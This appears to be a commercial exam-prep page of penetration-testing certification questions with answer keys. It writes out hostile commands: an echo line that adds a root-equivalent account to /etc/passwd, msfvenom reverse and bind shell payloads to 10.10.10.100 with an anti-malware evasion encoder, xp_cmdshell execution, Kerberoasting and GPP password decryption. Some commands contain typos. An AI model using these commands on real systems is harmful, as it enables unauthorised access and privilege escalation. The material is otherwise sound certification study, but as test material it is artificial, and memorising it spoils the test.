A penetration tester gains access to the target network and observes a running SSH server. Which of the following techniques should the penetration tester use to obtain the version of SSH running on the target server?
A. Network sniffing
B. IP scanning
C. Banner grabbing
D. DNS enumeration
Show Answer
Correct Answer: C
Explanation: Banner grabbing involves connecting to the SSH service and reading the server's identification string/banner, which typically discloses the SSH protocol and server software version (for example, OpenSSH_x.y). Network sniffing captures traffic, IP scanning identifies hosts or open ports, and DNS enumeration retrieves DNS-related information rather than service versions.
Question 119
A penetration tester successfully phishes a user and compromises a domain-joined endpoint. The tester enumerates the domain controller and discovers that Group Policy Preferences are in use. The tester also finds that the version of the domain controllers is Windows Server 2012. The tester wants to use the fastest possible method of pivoting successfully to multiple production servers joined to the domain. Which of the following is the best way to achieve this goal?
A. Scan the domain controller and locate an RCE using a Metasploit module with a reverse shell
B. Run Hydra to password spray any dumped credentials from the initial host across subnets
C. Use BloodHound to look for escalation paths against the AD environment
D. Find the SYSVOL share for hashes with findstr /i and decrypt using the published key
Show Answer
Correct Answer: D
Explanation: Group Policy Preferences on older Active Directory environments may leave cpassword values in XML files under the SYSVOL share. The cpassword can be decrypted because the AES key is publicly known, allowing rapid recovery of credentials that are often reused for local administrator or service accounts. This provides a fast path to lateral movement across multiple domain-joined production servers. The other options are slower, less reliable, or depend on additional vulnerabilities or attack paths.
Question 120
A penetration tester gains low-privilege shell access to a host and discovers a world-writable script that is run regularly as root. The tester runs the following command:
openssl passwd password
$l$OjxLvZ85$Fdr51vn/Z4zXWsQR/Xrj .
The tester then adds the following line to the world-writable script
echo 'root2:$l$OjxLvZ85$Fdr51vn/Z4zXWsQR/Xrj1001:1001:,,,: /root:/bin/bash" >> /etc/passwd
Which of the following should the penetration tester do to enable this exploit to work correctly?
A. Use only a single redirect to /etc/password.
B. Generate the password using md5sum.
C. Log in to the host using SSH
D. Change the 1001 entries to 0.
Show Answer
Correct Answer: D
Explanation: The exploit aims to create a new account with root-equivalent privileges by appending an entry to the system account file. In a traditional passwd entry, the third and fourth fields are the UID and GID. Using 1001:1001 creates an unprivileged user, whereas UID 0 (and typically GID 0) grants root-equivalent privileges. Therefore, changing the 1001 values to 0 is required for the privilege-escalation attempt to work as intended.
Question 121
During an assessment, a penetration tester runs the following command from a Linux machine:
GetUsersSPNs.py -dc-ip 172.16.1.1 DOMAIN.LOCAL/aholliday -request
Which of the following is the penetration tester trying to do?
A. Crack the user password for aholliday.
B. Download all TGS tickets for offline processing.
C. Perform a pass-the-hash attack using the hash for aholliday.
D. Perform password spraying.
Show Answer
Correct Answer: B
Explanation: GetUserSPNs.py with the -request option performs Kerberoasting by enumerating accounts with Service Principal Names (SPNs) and requesting their Kerberos TGS service tickets. Those tickets are then saved for offline password cracking of the associated service account credentials. It is not pass-the-hash, password spraying, or directly cracking the specified user's password.
Question 123
During an assessment, a penetration tester obtains access to a Microsoft SQL server using sqlmap and runs the following command:
SQL> xp_cmdshell whoami /all -
Which of the following is the tester trying to do?
A. List database tables
B. Show logged-in database users
C. Enumerate privileges
D. Display available SQL commands
Show Answer
Correct Answer: C
Explanation: The SQL Server extended stored procedure xp_cmdshell executes operating system commands. Running `whoami /all` displays the current Windows security context, including group memberships, SIDs, and assigned privileges, which is used to enumerate the privileges available to the compromised SQL Server process or account.
Question 124
A Chief Information Security Officer wants to automate adversarial activities from penetration tests that are relevant to the organization. Which of the following should a penetration tester do first to accomplish this task?
A. Deploy a command-and-control server with custom profiles to facilitate execution.
B. Use Python 3 with added testing libraries and script the relevant action to test.
C. Utilize the PowerShell PowerView tool with custom scripting additions based on test results.
D. Implement Atomic Red Team to chain critical TTPs and perform the test.
Show Answer
Correct Answer: D
Explanation: Atomic Red Team is purpose-built to automate and repeatedly execute adversary techniques (TTPs) mapped to the MITRE ATT&CK framework. It is designed to emulate relevant attacker behaviors in a standardized way, making it the appropriate first choice for automating penetration-test-derived adversarial activities. The other options focus on specific tooling or custom scripting rather than a framework intended for automated adversary emulation.
Question 125
A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload from being blocked by anti-malware that is running on the target.
Which of the following commands should the tester use to obtain shell access?
A. msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443
B. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000
C. msfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp LHOST-10.10.10.100 LPORT-4444 EXITFUNC=none
D. net user add /administrator | hexdump > payload
Show Answer
Correct Answer: A
Explanation: The key requirement is reducing the likelihood that the payload is blocked by anti-malware. Among the options, only A uses an encoder (shikata_ga_nai), which is intended to obfuscate the payload and help evade simple signature-based detection. The other options either generate standard payloads without encoding, contain incorrect syntax, or are unrelated to generating shellcode.
Question 126
A company that uses an insecure corporate wireless network is concerned about security. Which of the following is the most likely tool a penetration tester could use to obtain initial access?
A. Responder
B. Metasploit
C. Netcat
D. Nmap
Show Answer
Correct Answer: A
Explanation: Responder is commonly used on insecure local networks to perform LLMNR/NBT-NS/mDNS poisoning and capture or relay credentials, making it a likely tool for obtaining initial access on an insecure corporate wireless network. Metasploit is an exploitation framework used after identifying a vulnerability, while Netcat is a networking utility and Nmap is primarily for reconnaissance.
Question 127
A penetration testing company is defining the rules of engagement with a client. Which of the following should the company include?
A. Non-disclosure agreement
B. Escalation process
C. URL list
D. Authorization letter
Show Answer
Correct Answer: B
Explanation: The Rules of Engagement (RoE) define how the penetration test will be conducted, including communications, incident handling, and decision-making during the engagement. An escalation process is a core RoE element because it specifies who to contact and what actions to take if critical vulnerabilities, outages, or unexpected events occur. A non-disclosure agreement and authorization letter are pre-engagement legal documents, while a URL list is part of scoping rather than the RoE.
Question 128
A penetration tester wants to verify whether passwords from a leaked password list can be used to access an SSH server as a legitimate user.
Which of the following is the most appropriate tool for this task?
A. BloodHound
B. Responder
C. Burp Suite
D. Hydra
Show Answer
Correct Answer: D
Explanation: Hydra is a password auditing and login testing tool that supports SSH and can test username/password combinations from a leaked password list against an SSH service. BloodHound maps Active Directory attack paths, Responder performs LLMNR/NBT-NS/mDNS poisoning and credential capture, and Burp Suite focuses on web application testing rather than SSH authentication.
$19
Get all 342 questions with detailed answers and explanations
Instant download HTML + PDF delivered the moment payment clears.
Secure Stripe checkout we never see or store your card details.
7-day refund if files are defective see our refund policy.